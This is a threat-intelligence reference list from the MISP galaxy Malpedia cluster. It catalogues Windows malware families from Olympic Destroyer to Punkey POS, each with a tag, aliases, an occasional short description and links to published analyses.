Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.

The tag is: misp-galaxy:malpedia="Olympic Destroyer"

Olympic Destroyer is also known as:

Table 1643. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer
http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.lastline.com/labsblog/olympic-destroyer-south-korea/
https://securelist.com/the-devils-in-the-rich-header/84348/
https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/
https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/
https://securelist.com/olympic-destroyer-is-still-alive/86169/
http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html
https://www.lastline.com/labsblog/attribution-from-russia-with-code/
https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/

OneKeyLocker

The tag is: misp-galaxy:malpedia="OneKeyLocker"

OneKeyLocker is also known as:

Table 1644. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onekeylocker
https://twitter.com/malwrhunterteam/status/1001461507513880576

ONHAT

The tag is: misp-galaxy:malpedia="ONHAT"

ONHAT is also known as:

Table 1645. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview

OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

The tag is: misp-galaxy:malpedia="OnionDuke"

OnionDuke is also known as:

Table 1646. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke
https://www.f-secure.com/weblog/archives/00002764.html
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html

OnlinerSpambot

A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.

The tag is: misp-galaxy:malpedia="OnlinerSpambot"

OnlinerSpambot is also known as:

Onliner
SBot

Table 1647. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html

OopsIE

The tag is: misp-galaxy:malpedia="OopsIE"

OopsIE is also known as:

Table 1648. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/

Opachki

The tag is: misp-galaxy:malpedia="Opachki"

Opachki is also known as:

Table 1649. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki
https://forum.malekal.com/viewtopic.php?t=21806
https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519
http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html
http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html

OpGhoul

The tag is: misp-galaxy:malpedia="OpGhoul"

OpGhoul is also known as:

Table 1650. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul
https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/

OpBlockBuster

The tag is: misp-galaxy:malpedia="OpBlockBuster"

OpBlockBuster is also known as:

Table 1651. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/

ORANGEADE

FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.

The tag is: misp-galaxy:malpedia="ORANGEADE"

ORANGEADE is also known as:

Table 1652. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

OrcaRAT

OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.

The tag is: misp-galaxy:malpedia="OrcaRAT"

OrcaRAT is also known as:

Table 1653. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html

Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: misp-galaxy:malpedia="Orcus RAT"

Orcus RAT is also known as:

Table 1654. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat
https://orcustechnologies.com/
https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors
https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html
https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/
https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/
http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/

Ordinypt

The tag is: misp-galaxy:malpedia="Ordinypt"

Ordinypt is also known as:

Table 1655. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/
https://www.gdata.de/blog/2017/11/30151-ordinypt

Outlook Backdoor

The tag is: misp-galaxy:malpedia="Outlook Backdoor"

Outlook Backdoor is also known as:

Table 1656. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

Overlay RAT

The tag is: misp-galaxy:malpedia="Overlay RAT"

Overlay RAT is also known as:

Table 1657. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat
https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/
https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking

OvidiyStealer

The tag is: misp-galaxy:malpedia="OvidiyStealer"

OvidiyStealer is also known as:

Table 1658. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer
https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses

owaauth

The tag is: misp-galaxy:malpedia="owaauth"

owaauth is also known as:

luckyowa

Table 1659. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/

PadCrypt

The tag is: misp-galaxy:malpedia="PadCrypt"

PadCrypt is also known as:

Table 1660. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt
https://johannesbader.ch/2016/03/the-dga-of-padcrypt/
https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/

paladin

Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.

The tag is: misp-galaxy:malpedia="paladin"

paladin is also known as:

Table 1661. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: misp-galaxy:malpedia="PandaBanker"

PandaBanker is also known as:

ZeusPanda

Table 1662. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker
https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker
https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers
https://www.arbornetworks.com/blog/asert/panda-bankers-future-dga/
https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media
https://www.proofpoint.com/tw/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://www.spamhaus.org/news/article/771/
https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html
http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html
https://blogs.forcepoint.com/security-labs/zeus-panda-delivered-sundown-targets-uk-banks
https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.arbornetworks.com/blog/asert/let-pandas-zeus-zeus-zeus-zeus/
http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html
https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/

parasite_http

The tag is: misp-galaxy:malpedia="parasite_http"

parasite_http is also known as:

Table 1663. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Peepy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

The tag is: misp-galaxy:malpedia="Peepy RAT"

Peepy RAT is also known as:

Table 1664. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.peepy_rat
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

Penco

The tag is: misp-galaxy:malpedia="Penco"

Penco is also known as:

Table 1665. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.penco

PetrWrap

The tag is: misp-galaxy:malpedia="PetrWrap"

PetrWrap is also known as:

Table 1666. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

Petya

The tag is: misp-galaxy:malpedia="Petya"

Petya is also known as:

Table 1667. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petya
https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/
https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/
https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/

pgift

Information gathering and downloading tool used to deliver second stage malware to the infected system

The tag is: misp-galaxy:malpedia="pgift"

pgift is also known as:

ReRol

Table 1668. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift
https://community.fireeye.com/external/1093

PhanDoor

The tag is: misp-galaxy:malpedia="PhanDoor"

PhanDoor is also known as:

Table 1669. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]

Philadephia Ransom

The tag is: misp-galaxy:malpedia="Philadephia Ransom"

Philadephia Ransom is also known as:

Table 1670. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom
https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/
https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html
https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware
https://blogs.forcepoint.com/security-labs/shelf-ransomware-used-target-healthcare-sector
https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/

PHOREAL

Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53

The tag is: misp-galaxy:malpedia="PHOREAL"

PHOREAL is also known as:

Rizzo

Table 1671. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: misp-galaxy:malpedia="Phorpiex"

Phorpiex is also known as:

Trik

Table 1672. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex
https://www.johannesbader.ch/2016/02/phorpiex/
https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

pipcreat

The tag is: misp-galaxy:malpedia="pipcreat"

pipcreat is also known as:

Table 1673. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat
https://www.snort.org/rule_docs/1-26941

pirpi

The tag is: misp-galaxy:malpedia="pirpi"

pirpi is also known as:

Table 1674. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi
https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Pitou

The tag is: misp-galaxy:malpedia="Pitou"

Pitou is also known as:

Table 1675. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou
https://www.tgsoft.it/english/news_archivio_eng.asp?id=884
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf

PittyTiger RAT

The tag is: misp-galaxy:malpedia="PittyTiger RAT"

PittyTiger RAT is also known as:

Table 1676. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf
https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/

Pkybot

Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.

The tag is: misp-galaxy:malpedia="Pkybot"

Pkybot is also known as:

Bublik
Pykbot
TBag

Table 1677. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot
http://blog.kleissner.org/?p=788
https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution
http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot

PLAINTEE

The tag is: misp-galaxy:malpedia="PLAINTEE"

PLAINTEE is also known as:

Table 1678. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

playwork

The tag is: misp-galaxy:malpedia="playwork"

playwork is also known as:

Table 1679. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork
https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html

PLEAD

The tag is: misp-galaxy:malpedia="PLEAD"

PLEAD is also known as:

TSCookie

Table 1680. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plead
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html
http://www.freebuf.com/column/159865.html
https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html
http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf

Plexor

The tag is: misp-galaxy:malpedia="Plexor"

Plexor is also known as:

Table 1681. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plexor
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/

Ploutus ATM

The tag is: misp-galaxy:malpedia="Ploutus ATM"

Ploutus ATM is also known as:

Table 1682. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm
https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html
http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html

ployx

The tag is: misp-galaxy:malpedia="ployx"

ployx is also known as:

Table 1683. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj_{Ployx-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Ployx-A/detailed-analysis.aspx]

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: misp-galaxy:malpedia="PlugX"

PlugX is also known as:

Korplug

Table 1684. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx
https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/
http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/
https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html
https://community.rsa.com/thread/185439
https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/
https://www.lac.co.jp/lacwatch/people/20171218_001445.html
https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/
https://securelist.com/time-of-death-connected-medicine/84315/
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/
http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html
https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf

pngdowner

The tag is: misp-galaxy:malpedia="pngdowner"

pngdowner is also known as:

Table 1685. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner
https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31

Poison Ivy

The tag is: misp-galaxy:malpedia="Poison Ivy"

Poison Ivy is also known as:

pivy
poisonivy

Table 1686. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/
https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/
http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii
https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/
http://blogs.360.cn/post/APT_C_01_en.html
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Polyglot

The tag is: misp-galaxy:malpedia="Polyglot"

Polyglot is also known as:

Table 1687. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

Pony

The tag is: misp-galaxy:malpedia="Pony"

Pony is also known as:

Fareit
Siplog

Table 1688. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pony
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf
https://www.uperesia.com/analysis-of-a-packed-pony-downloader
https://github.com/nyx0/Pony

PoohMilk Loader

The tag is: misp-galaxy:malpedia="PoohMilk Loader"

PoohMilk Loader is also known as:

Table 1689. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

Popcorn Time

The tag is: misp-galaxy:malpedia="Popcorn Time"

Popcorn Time is also known as:

Table 1690. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time
https://twitter.com/malwrhunterteam/status/806595092177965058

portless

The tag is: misp-galaxy:malpedia="portless"

portless is also known as:

Table 1691. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portless
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf

poscardstealer

The tag is: misp-galaxy:malpedia="poscardstealer"

poscardstealer is also known as:

Table 1692. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer
http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf

PoshC2

The tag is: misp-galaxy:malpedia="PoshC2"

PoshC2 is also known as:

Table 1693. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

Poweliks Dropper

The tag is: misp-galaxy:malpedia="Poweliks Dropper"

Poweliks Dropper is also known as:

Table 1694. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks_dropper
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users

PowerDuke

The tag is: misp-galaxy:malpedia="PowerDuke"

PowerDuke is also known as:

Table 1695. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

powerkatz

The tag is: misp-galaxy:malpedia="powerkatz"

powerkatz is also known as:

Table 1696. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

PowerPool

The tag is: misp-galaxy:malpedia="PowerPool"

PowerPool is also known as:

Table 1697. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Powersniff

A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.

The tag is: misp-galaxy:malpedia="Powersniff"

Powersniff is also known as:

Table 1698. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff
https://lokalhost.pl/gozi_tree.txt
https://www.thesecuritybuddy.com/malware-prevention/what-is-powersniff-malware/
https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/

PowerRatankba

The tag is: misp-galaxy:malpedia="PowerRatankba"

PowerRatankba is also known as:

Table 1699. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba
https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/
https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

prb_backdoor

The tag is: misp-galaxy:malpedia="prb_backdoor"

prb_backdoor is also known as:

Table 1700. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html

Predator The Thief

The tag is: misp-galaxy:malpedia="Predator The Thief"

Predator The Thief is also known as:

Table 1701. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.predator
https://securelist.com/a-predatory-tale/89779
https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/

Prikorma

The tag is: misp-galaxy:malpedia="Prikorma"

Prikorma is also known as:

Table 1702. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

Prilex

The tag is: misp-galaxy:malpedia="Prilex"

Prilex is also known as:

Table 1703. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex
https://www.kaspersky.com/blog/chip-n-pin-cloning/21502
https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

PrincessLocker

The tag is: misp-galaxy:malpedia="PrincessLocker"

PrincessLocker is also known as:

Table 1704. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/

PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have be observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

The tag is: misp-galaxy:malpedia="PsiX"

PsiX is also known as:

Table 1705. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.psix
https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/
https://twitter.com/mesa_matt/status/1035211747957923840

PC Surveillance System

Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.

The tag is: misp-galaxy:malpedia="PC Surveillance System"

PC Surveillance System is also known as:

Table 1706. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pss
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/

Pteranodon

The tag is: misp-galaxy:malpedia="Pteranodon"

Pteranodon is also known as:

Table 1707. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html
https://cert.gov.ua/news/42
https://blog.threatstop.com/russian-apt-gamaredon-group
https://cert.gov.ua/news/46

PubNubRAT

The tag is: misp-galaxy:malpedia="PubNubRAT"

PubNubRAT is also known as:

Table 1708. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat
http://blog.alyac.co.kr/1853
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Punkey POS

The tag is: misp-galaxy:malpedia="Punkey POS"

Punkey POS is also known as:

Table 1709. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos
